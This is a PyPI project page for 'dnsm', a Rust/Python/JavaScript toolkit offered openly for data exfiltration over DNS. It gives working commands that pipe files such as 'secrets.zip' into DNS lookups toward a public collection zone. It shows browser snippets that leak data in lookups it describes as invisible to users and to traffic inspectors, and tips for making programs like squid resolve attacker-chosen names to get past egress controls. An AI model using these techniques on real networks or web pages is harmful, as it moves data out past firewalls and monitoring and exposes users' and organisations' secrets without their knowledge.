Skip to main content

DNS data exfiltration toolkit - Python bindings

Project description

dnsm ASCII logotype

Toolkit for Data Exfiltration via DNS

crates.io PyPI Rust Python

dnsm lets you transmit arbitrary data over plain DNS by encoding bytes into domain names and reconstructing the original payload on an authoritative server you control. It works from constrained egress environments to browsers.

Introduction

Many real‑world environments make "move data from A to B" more complicated than opening a socket. Egress is shaped by segmentation, firewalls, proxies, and sandboxed runtimes. Consider a few common situations: JavaScript running in a browser that only exposes HTTP(S) primitives; a CI runner or serverless function allowed to talk only to specific endpoints; a Kubernetes workload constrained by NetworkPolicies; or a corporate workstation that reaches the internet only through a proxy. The transport you'd normally pick might be unavailable - yet some parts of the stack continue to work automatically.

Most controls are expressed around specific transports and APIs (TCP, TLS, HTTP) and only come into play once an application attempts a connection. What they often leave implicit is what happens first: name resolution.

DNS lookups occur early in connection setup and are frequently permitted because everything else depends on them. Importantly, a DNS query can traverse the network even when no subsequent connection is possible.

While callers rarely influence the resolver's transport details (UDP vs TCP, retries, caching), they do control the most crucial input: the domain name being resolved. A domain name is composed of textual labels. If we can encode information into those labels safely and deterministically, we can induce resolvers to carry our data to an authoritative server we control - without ever establishing an application‑level connection.

This is the idea dnsm builds on.

We encode bytes into the textual labels that make up a domain name (naively, think your_payload_here.k.dnsm.re - an illustration of the idea, not the actual wire format) and rely on recursive resolvers to carry that name to a zone we control. dnsm implements a compact, purpose‑built protocol: inputs are LZMA‑compressed, framed with headers, split into ordered chunks, and encoded so that each chunk becomes a valid hostname label sequence (e.g., base32, length‑safe labels; see Protocol Header). Optional mailboxes provide inbox‑style retrieval and safe multiplexing across messages and senders.

To receive data, pick a short zone you control (e.g., k.dnsm.re) and run dnsm-server as the authoritative nameserver for that zone. It observes incoming queries, reassembles chunks, and decodes the payload into logs or a SQLite database.

On the sending side, use dnsm-client to generate the hostnames for arbitrary data, then trigger DNS resolution using any mechanism your environment allows (OS resolver, browser primitives, proxies, etc.). The lookups traverse recursive resolvers and eventually reach your authoritative server - delivering the message without opening an application‑layer connection.

Browsers

The client also runs in browsers and other JS contexts. Depending on how you trigger resolution, those lookups don't show up in browser DevTools and are completely invisible to users. Also, most tools commonly used to inspect app traffic (mitmproxy, Fiddler, Burp, ...) don't capture DNS by default. If you want to validate these claims, check out our browser test.

Read the Privacy-Preserving Data Transmission section if you're looking for a more white-hat-friendly use case.

Quick Start

Download the latest release, put the binaries on your PATH, or run them in place.

[!NOTE] Feel free to use our public zone k.dnsm.re for testing, in case you don't want to host your own server.

Sending Data to the Public Instance

Generating domain names from some input data:

$ echo "hello world" | dnsm-client k.dnsm.re --random-mailbox -n

dnsm-client: zone=k.dnsm.re
             first_payload=141
             payload_per_chunk=141
             total_chunks=1
             mailbox=f8925edd7f13

aaabz6esl3ox6e25aaaiaaamaaaaaaaaaaaaanazjhxi32ixre5dgx74vt3saaa.k.dnsm.re

[!NOTE] For such small input data, only one chunk/domain name is needed.

Triggering DNS resolution:

$ ping -c 1 aaabz6esl3ox6e25aaaiaaamaaaaaaaaaaaaanazjhxi32ixre5dgx74vt3saaa.k.dnsm.re

# Or with netcat
$ nc aaabz6esl3ox6e25aaaiaaamaaaaaaaaaaaaanazjhxi32ixre5dgx74vt3saaa.k.dnsm.re 9999 # Port doesn't matter

[!NOTE] There are many programs available on a typical Linux installation that can be used for this. Common options include dig, curl, wget, resolvectl, netcat, ssh and many more.

Retrieving messages:

$ dig @dnsm.re f8925edd7f13.m.dnsm.re TXT +tcp +short

"dc5a4edb8240\009hello world\010"

Also check out the web mailbox and dnsm-ws.

Running the Server Locally

  1. Start the authoritative DNS server and point it at your data zone. This example answers on UDP :5353, logs queries, and stores reconstructed payloads in SQLite:
dnsm-server x.foo.bar --bind 0.0.0.0:5353 --respond_with 127.0.0.1 --log queries.log --db ./dnsm.sqlite
  1. In a different terminal, stream some test data through the client so it emits DNS lookups toward the server:
echo "hello world" | dnsm-client x.foo.bar --resolver-ip 127.0.0.1:5353

# You can also send binary data
cat secrets.zip | dnsm-client x.foo.bar --resolver-ip 127.0.0.1:5353
  1. Watch the server log (or inspect the SQLite database) to confirm the message was received and reassembled:
  tail -f queries.log
  sqlite3 dnsm.sqlite "SELECT id, data FROM messages"

CLI Help

dnsm-server --help
Logs queries, answers A records with a fixed IPv4 address, and can
reassemble dnsm payloads when a zone is configured. All runs persist
queries and decoded payloads to SQLite.

Examples:

- dnsm-server x.foo.bar
- dnsm-server x.foo.bar --bind 0.0.0.0:5300 --respond_with 127.0.0.1
- dnsm-server x.foo.bar --mailbox-zone m.example --tcp-mailbox --ans-ttl 30 --neg-ttl 300

Usage: dnsm-server [OPTIONS] <ZONE>

Arguments:
  <ZONE>
          Zone to treat as authoritative for dnsm payloads (required)

Options:
      --bind <ADDR>
          Address to bind (default: 0.0.0.0:53)

          [default: 0.0.0.0:53]

      --mailbox-zone <MBX_ZONE>
          Mailbox TXT zone (optional). When set, TXT queries for "<mailbox-hex>.<mailbox-zone>" will
          return accumulated messages for that mailbox from the SQLite database (when configured)

      --tcp-mailbox
          Enable DNS over TCP handler for mailbox TXT lookups only

      --respond_with <IP>
          IPv4 address to answer for A queries (default: 0.0.0.0)

          [default: 0.0.0.0]

      --log <PATH>
          Path to append diagnostic event logs (default: dnsm_queries.log) Note: queries themselves
          are persisted to SQLite (see --db)

          [default: dnsm_queries.log]

      --db <PATH>
          Path to a SQLite database for persistence (messages table is auto-created)

          [default: dnsm.db]

      --progress-every <N>
          Log progress every n unique chunks (n > 0)

      --gc-ms <MS>
          Garbage-collect inactive assemblies older than this many ms (default: 30000ms = 30s)

      --max-assemblies <COUNT>
          Maximum concurrent assembly sessions (prevents memory exhaustion, default: 10_000)

          [default: 10000]

      --ans-ttl <SEC>
          TTL for A-record answers (default: 0)

          [default: 0]

      --neg-ttl <SEC>
          TTL for negative answers with SOA (default: 300)

          [default: 300]

      --no-color
          Disable ANSI colors in stdout (pretty output is always on)

      --accept-ascii-only
          Accept only messages that decode to ASCII bytes; reject otherwise

      --no-response
          Process queries but send no responses when enabled

      --max-decompressed-bytes <BYTES>
          Maximum decompressed payload size in bytes (default: 12582912 = 12MB). Prevents
          decompression bomb attacks. Set to 0 to disable limit (unsafe)

          [default: 12582912]

      --rate-limit-qps <QPS>
          Maximum queries per second per IP address. Set to 0 to disable rate limiting. Aims to
          prevent UDP amplification/reflection attacks. Default: 100 qps

          [default: 100]

  -h, --help
          Print help (see a summary with '-h')
dnsm-client --help
Reads from stdin and emits DNS queries carrying the data, or prints
hostnames (one per chunk) when --dont-query is used.

Examples:

- echo 'hello' | dnsm-client x.foo.bar --dont-query
- echo 'hello' | dnsm-client x.foo.bar --await-reply-ms 50 --delay-ms 2 --debug
- head -c 200000 /dev/urandom | dnsm-client x.foo.bar --resolver-ip 127.0.0.1:5353

Usage: dnsm-client [OPTIONS] <ZONE>

Arguments:
  <ZONE>
          Zone/apex the payload labels are appended to

Options:
      --resolver-ip <HOST[:PORT]>
          Send to this resolver (default: first nameserver in /etc/resolv.conf)

  -n, --dont-query
          Do not send; print hostnames (one per chunk)

      --await-reply-ms <MS>
          Wait up to this many ms for a reply to each query (0 disables)

          [default: 0]

      --delay-ms <MS>
          Sleep this many ms between queries

          [default: 5]

      --sent-log <PATH>
          Append a human-readable send log to this file

      --mailbox <HEX12>
          Optional mailbox ID (exactly 12 hex chars, no 0x)

      --random-mailbox
          Generate a random mailbox ID (conflicts with --mailbox)

      --debug
          Verbose progress to stderr

  -p, --pretty
          Print send progress to stdout with colors (does not affect --dont-query output)

      --ping
          Send a minimal ping (no message content, mailbox required)

      --no-color
          Disable ANSI colors even when --pretty is used

      --tagged-log
          Also write bracketed tags to --sent-log

  -h, --help
          Print help (see a summary with '-h')

JavaScript (Wasm) Client

The JS client is generated via wasm-bindgen and exposes helpers to turn bytes/strings into chunked domain names. After building WebAssembly (see build instructions), import and initialize the module, then call the helpers:

// Browser / ESM (vite, webpack, etc.)
import init, {
  domains_for_string,
  domains_for_string_with_mailbox,
  ping_domain,
} from "./web/src/lib/pkg-web/dnsm.js"; // path to generated pkg

await init(); // loads dnsm_bg.wasm next to dnsm.js

const zone = "k.example.com";
const msg = "hello from js";

// Without mailbox (auto session)
const domains = Array.from(domains_for_string(msg, zone));

// With mailbox (exactly 12 lowercase hex chars)
const mailbox = "050373323440";
const domainsWithMbx = Array.from(
  domains_for_string_with_mailbox(msg, zone, mailbox)
);

// Ping (minimal keepalive, no message content)
const pingHost = ping_domain(mailbox, zone);

// Optionally trigger DNS resolution in the browser (example method)
for (const h of domainsWithMbx) new Image().src = "https://" + h;

See BrowserTest.svelte for many in-browser resolution methods and usage examples.

Notes:

  • The functions return arrays of domain names (strings) that encode your data.
  • ping_domain returns a single domain name for a content-less keepalive query.
  • The same compression, chunking, and mailbox behavior as the CLI is used under the hood.
  • For Node/bundlers, you can also import from the pkg/ directory produced by the wasm build.

Python Client

Native Python bindings powered by PyO3. The same behavior as the Rust CLI, with no subprocess spawned.

Install

pip install dnsm

Wheels are published for Linux x86_64 and aarch64 (CPython 3.9 to 3.13).

Library usage

import dnsm

# Encode data into DNS domain names
domains, info = dnsm.build_domains(b"hello world", "k.dnsm.re")
print(info.total_chunks)  # 1
print(domains[0])         # aaabz6esl3...k.dnsm.re

# With a mailbox
domains, info = dnsm.build_domains(b"hello world", "k.dnsm.re", "050373323440")

# Ping (content-less keepalive)
ping = dnsm.build_ping_domain("050373323440", "k.dnsm.re")

# Low-level helpers
compressed = dnsm.compress_lzma(b"some data")
encoded    = dnsm.base32_encode(b"\x00\x01\x02")
decoded    = dnsm.base32_decode(encoded)   # bytes or None
key        = dnsm.message_key48(b"payload") # u64
mid        = dnsm.message_id(b"payload")    # 16 bytes (BLAKE3)

# Validation
labels = dnsm.validate_zone("k.dnsm.re")      # list[str] or raises ValueError
canon  = dnsm.validate_mailbox("050373323440")  # str or None

CLI

A dnsm-client entry point mirrors the Rust CLI:

echo "hello world" | dnsm-client k.dnsm.re --random-mailbox -n
echo "hello world" | dnsm-client k.dnsm.re --resolver-ip 127.0.0.1:5353 --delay-ms 2 --debug

Run dnsm-client --help for the full option list.


Domain Setup

  1. Register a short domain and provision a publicly reachable host.
  • Domain names have a maximum length, so shorter domains leave more space to encode payload data.
  1. Pick a short data zone (e.g., k.foo.bar) and create an NS record that points to your host. Optional: Also create a mailbox zone (e.g., m.foo.bar) for DNS TXT retrieval.

  2. Start dnsm-server on your host and pass the zone you selected.

Privacy-Preserving Data Transmission

DNS resolution inherently anonymizes the sender's identity. When a client performs a DNS lookup, the request traverses through one or more recursive resolvers before reaching the authoritative nameserver (terms and conditions apply). From the authoritative server's perspective, the query appears to originate from the recursive resolver - not the original client. This architectural characteristic means the recipient never observes the sender's IP address.

This property has practical applications for privacy-compliant telemetry and analytics, particularly in jurisdictions where IP addresses constitute personally identifiable information (PII) under data protection regulations such as the EU's GDPR. By transmitting telemetry data through DNS queries, organizations can collect usage metrics and analytics from client applications - including web browsers - without capturing or processing any PII. The receiving infrastructure logs only the queries themselves and the IP addresses of intermediate DNS resolvers, which are shared infrastructure and carry no user-identifying information.

Note: Factors such as the specificity of transmitted data, timestamp precision, and correlation with other data sources may affect the privacy characteristics of any implementation.

Programmatic Rust API

use dnsm::{build_domains_for_data, BuildOptions};

let data = b"exfiltrate me";
let zone = "k.dnsm.re";
let opts = BuildOptions { mailbox: Some(0x050373323440) };
let (domains, info) = build_domains_for_data(data, zone, &opts)?;
assert!(info.total_chunks >= 1);

Protocol Header

Section Wire Format Notes
Envelope LZMA input → chunk framing (header + extras + payload) → base32 labels (lowercase, no padding). Each label ≤ 63 bytes. Suffix the labels with the validated zone so the full QNAME stays under 255 bytes on the wire.
Chunk Header (v2) 8-bit flags [ping:1][chunked:1][mailbox:1][first:1][version:3][reserved:1], plus optional 16-bit big-endian remaining when chunked=1. version = 0x2; single-chunk messages use a 1-byte header; multi-chunk messages use 3 bytes. ping marks a content-less keepalive; first marks the opener of a multi-chunk stream.
Chunk Extras Single: optional 6-byte mailbox.
First multi: 6-byte message_key48, optional 6-byte mailbox.
Follow-up: 6-byte message_key48.
message_key48 = BLAKE3(original_payload)[..6]; mailbox values are big-endian 48-bit when present; follow-up chunks omit mailbox bytes even though the header flag stays set.
Ping 1-byte header (ping=1, mailbox=1) + 6-byte mailbox, no payload. Stored with message_type='ping' in the database. Pings are excluded from TXT mailbox responses but visible in the WebSocket/HTTP API.
Identifiers message_key48 binds chunks and server deduplication.
message_id = BLAKE3(decompressed_payload)[..16].
Mailbox values are masked to 0x0000_FFFF_FFFF_FFFF; TXT paging accepts either the 12-hex prefix or the full 32-hex message_id.
Mailbox TXT Replies TXT RRs surface as <message_id_prefix>\t<raw payload bytes>. Prefix is the first 12 hex chars of message_id; oversized replies truncate gracefully and may set the TC bit as a paging hint. Only message rows are included (pings are excluded).

Finding DNS Call Sites

When looking for ways to trigger a specific program to resolve your domain names, a good heuristic is to check whether the executable imports common resolver entry points, then exercise code paths that reach them.

  • Common symbols: getaddrinfo, getnameinfo, gethostbyname, res_query (libresolv), or library-specific resolvers (e.g., c-ares).
  • Linux: nm -D /usr/sbin/squid | grep -E "getaddrinfo|getnameinfo|gethostbyname|res_query" or objdump -T /usr/sbin/squid | grep ...

Once you've identified a call site, typical triggers include providing a hostname (not an IP) in configuration (base URLs, webhook endpoints), setting proxy variables (HTTP_PROXY, HTTPS_PROXY, ALL_PROXY), or causing the app to load remote assets (updates, telemetry, images). These often funnel into the same resolver APIs and will emit DNS lookups that dnsm-server can observe.

Building From Source

If you prefer building dnsm locally:

  • Requirements: Rust (stable) and standard build tools. For the web demo, Node.js + npm.

  • Native binaries (release builds):

    • Client: cargo build --release --bin dnsm-client
    • Server: cargo build --release --bin dnsm-server --features sqlite
    • WS/API: cargo build --release --bin dnsm-ws --features "sqlite,ws-server"
  • Python bindings (requires maturin):

    • Dev install: maturin develop --features python
    • Build wheel: maturin build --release --features python
  • WebAssembly bindings for the JS client:

    • Install wasm-bindgen-cli once: cargo install wasm-bindgen-cli --locked
    • Build: bash scripts/build_webassembly.sh
    • The generated files land in web/src/lib/pkg-web/ and pkg/.
  • Web app (Svelte + Vite):

    • Dev server: npm install --prefix web && npm run dev --prefix web
    • Production build: npm run build --prefix web
  • Binaries end up in target/release/.

  • Optional Cargo features:

    • sqlite - required for dnsm-server and dnsm-ws (persistence, queries, views)
    • ws-server - enables the WebSocket/HTTP inbox
    • python - PyO3 bindings (used by maturin)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

dnsm-0.1.8.tar.gz (2.0 MB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

dnsm-0.1.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.7 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ x86-64

dnsm-0.1.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (272.6 kB view details)

Uploaded CPython 3.14manylinux: glibc 2.17+ ARM64

dnsm-0.1.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.8 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64

dnsm-0.1.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (272.8 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ ARM64

dnsm-0.1.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64

dnsm-0.1.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (272.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ ARM64

dnsm-0.1.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (294.8 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64

dnsm-0.1.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (273.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ ARM64

dnsm-0.1.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (295.0 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64

dnsm-0.1.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (273.1 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ ARM64

dnsm-0.1.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (296.5 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ x86-64

dnsm-0.1.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (274.4 kB view details)

Uploaded CPython 3.9manylinux: glibc 2.17+ ARM64

File details

Details for the file dnsm-0.1.8.tar.gz.

File metadata

  • Download URL: dnsm-0.1.8.tar.gz
  • Upload date:
  • Size: 2.0 MB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for dnsm-0.1.8.tar.gz
Algorithm Hash digest
SHA256 11684376ae398a171357878c811f806c759b27fa0ddd97f705dfff3c8c2315e5
MD5 7a541857db58c7e13546e629c1567c21
BLAKE2b-256 929b9c7771f53f465edf2456cb87dc0471263fd8a43ddf5d74e3879e65f2c826

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8.tar.gz:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 3f7188d8aa20f3907e3b1b63f897b9ebc137bf9638bae48a8a428ed5ff11e8ee
MD5 0fcdcac085b28d2879a9b920de5829c9
BLAKE2b-256 d08977ff0ad1e97ebc2313e313301c99f92db1eb94728c54373ad273387250f1

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 b18d3ae53f5a012252ab50de626e9e9505fd214dd41a5a49e829d4bd307e23bc
MD5 c50c9380415c482fb5320e153bf4a9eb
BLAKE2b-256 2a587c51af36f103e9fe87b4d951d9dfeec623c2036734f61950067cb49f1c18

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 58d96cda76ae7f95adb4373b3c536926217437bd9650cda7530b82dd3633dc52
MD5 25d564b36f4dc3375cdab3dcd64c2d34
BLAKE2b-256 a8e7b4b093e09932d4337477e4f77ab8fb27f7d0e5fe505ecce132c91664e347

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 14b0500249c7b7d62e4ffed6de05ec0d962458b79519f9b6895242778c60ca73
MD5 2bc39475995aa863779ddfec1fa44bd3
BLAKE2b-256 9cb771884606f21fff28d2d1e7ec4419496ddf11d6f813eba871881b79090376

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 bcaa977ffb9c56f15881b560b288d06ac710ec568f152e4ddd7c319224751fd8
MD5 29185824d8a130a986fbdd500f909c51
BLAKE2b-256 1652a93a034185972c789deac3fbec0846321b9195c9dd0087347e9c804d0d67

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 fc8b8f1d6e8c3fc8273622ad9acf5016cb1903550d80abfe3984af85c020dbf0
MD5 79b1d7eb052ad6d79129faf8fb3a314a
BLAKE2b-256 fce13ba63685e00f8205ad348991926ca15e08f2462112536c7fcf224b599bc2

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 dc8247e0599a20401a29dfa4c427c568d6d3752e1a2a3cf4d59c61fea45a5bec
MD5 4021166192095f14268de0501156912f
BLAKE2b-256 3faa385aeebbdf995994823e062ed7c6d95ca57ea211d66939fab2ceae8f2ae2

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 855c82def85833e1d7eeb50e9d797c1deffe5f1b2bd14efb920d500ce70d5bb0
MD5 517679f92e5d8d974e0d9a76b2d24b05
BLAKE2b-256 6a45fe96394844dbdf4b2a61e167d6a8a6df7ed824b8345b15f7c03908b381ae

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 6d861a5e2bac02e545f73c11b89b1a399bf2fd45abed02c4e5a20f6bd7777dc6
MD5 3405c573ec71e1676eecc946382c3d56
BLAKE2b-256 5906a740d0ef3bb3bad16eaf957c53023aeb69364bdbbc1fbdf759b5c4f45ecb

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 2745effadf2bfe49b26fd0656b46fa8db8ee836939243c7b6af9e206093519b0
MD5 a7bf8e2e63ed1c929a0700baac581ab9
BLAKE2b-256 57c62bf10f3cbcd4d20d9248a9bd29b03e75ec516682efa92ea459f473146b55

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 a6198664e7021a460197c0028f69828ae4536e26e99cfb7aaf7b1d7e6a429da0
MD5 bd4886d86a2929b024ab87116d703956
BLAKE2b-256 906e4fff23de323fb8dbfafa98e214ff0a028d701ccb989434943f2921f00088

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file dnsm-0.1.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for dnsm-0.1.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 bf594699f963d21eca61a20156502e3b0e871c937a023f7f3b70372c7e571820
MD5 520e92b7d4c93af927e4d7771e53aace
BLAKE2b-256 fe3d523217f6b2f609fbbe1aa9bed2d67db6b7327aceaf9a29df8c698da0f5a2

See more details on using hashes here.

Provenance

The following attestation bundles were made for dnsm-0.1.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: release-pypi.yml on k-o-n-t-o-r/dnsm

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page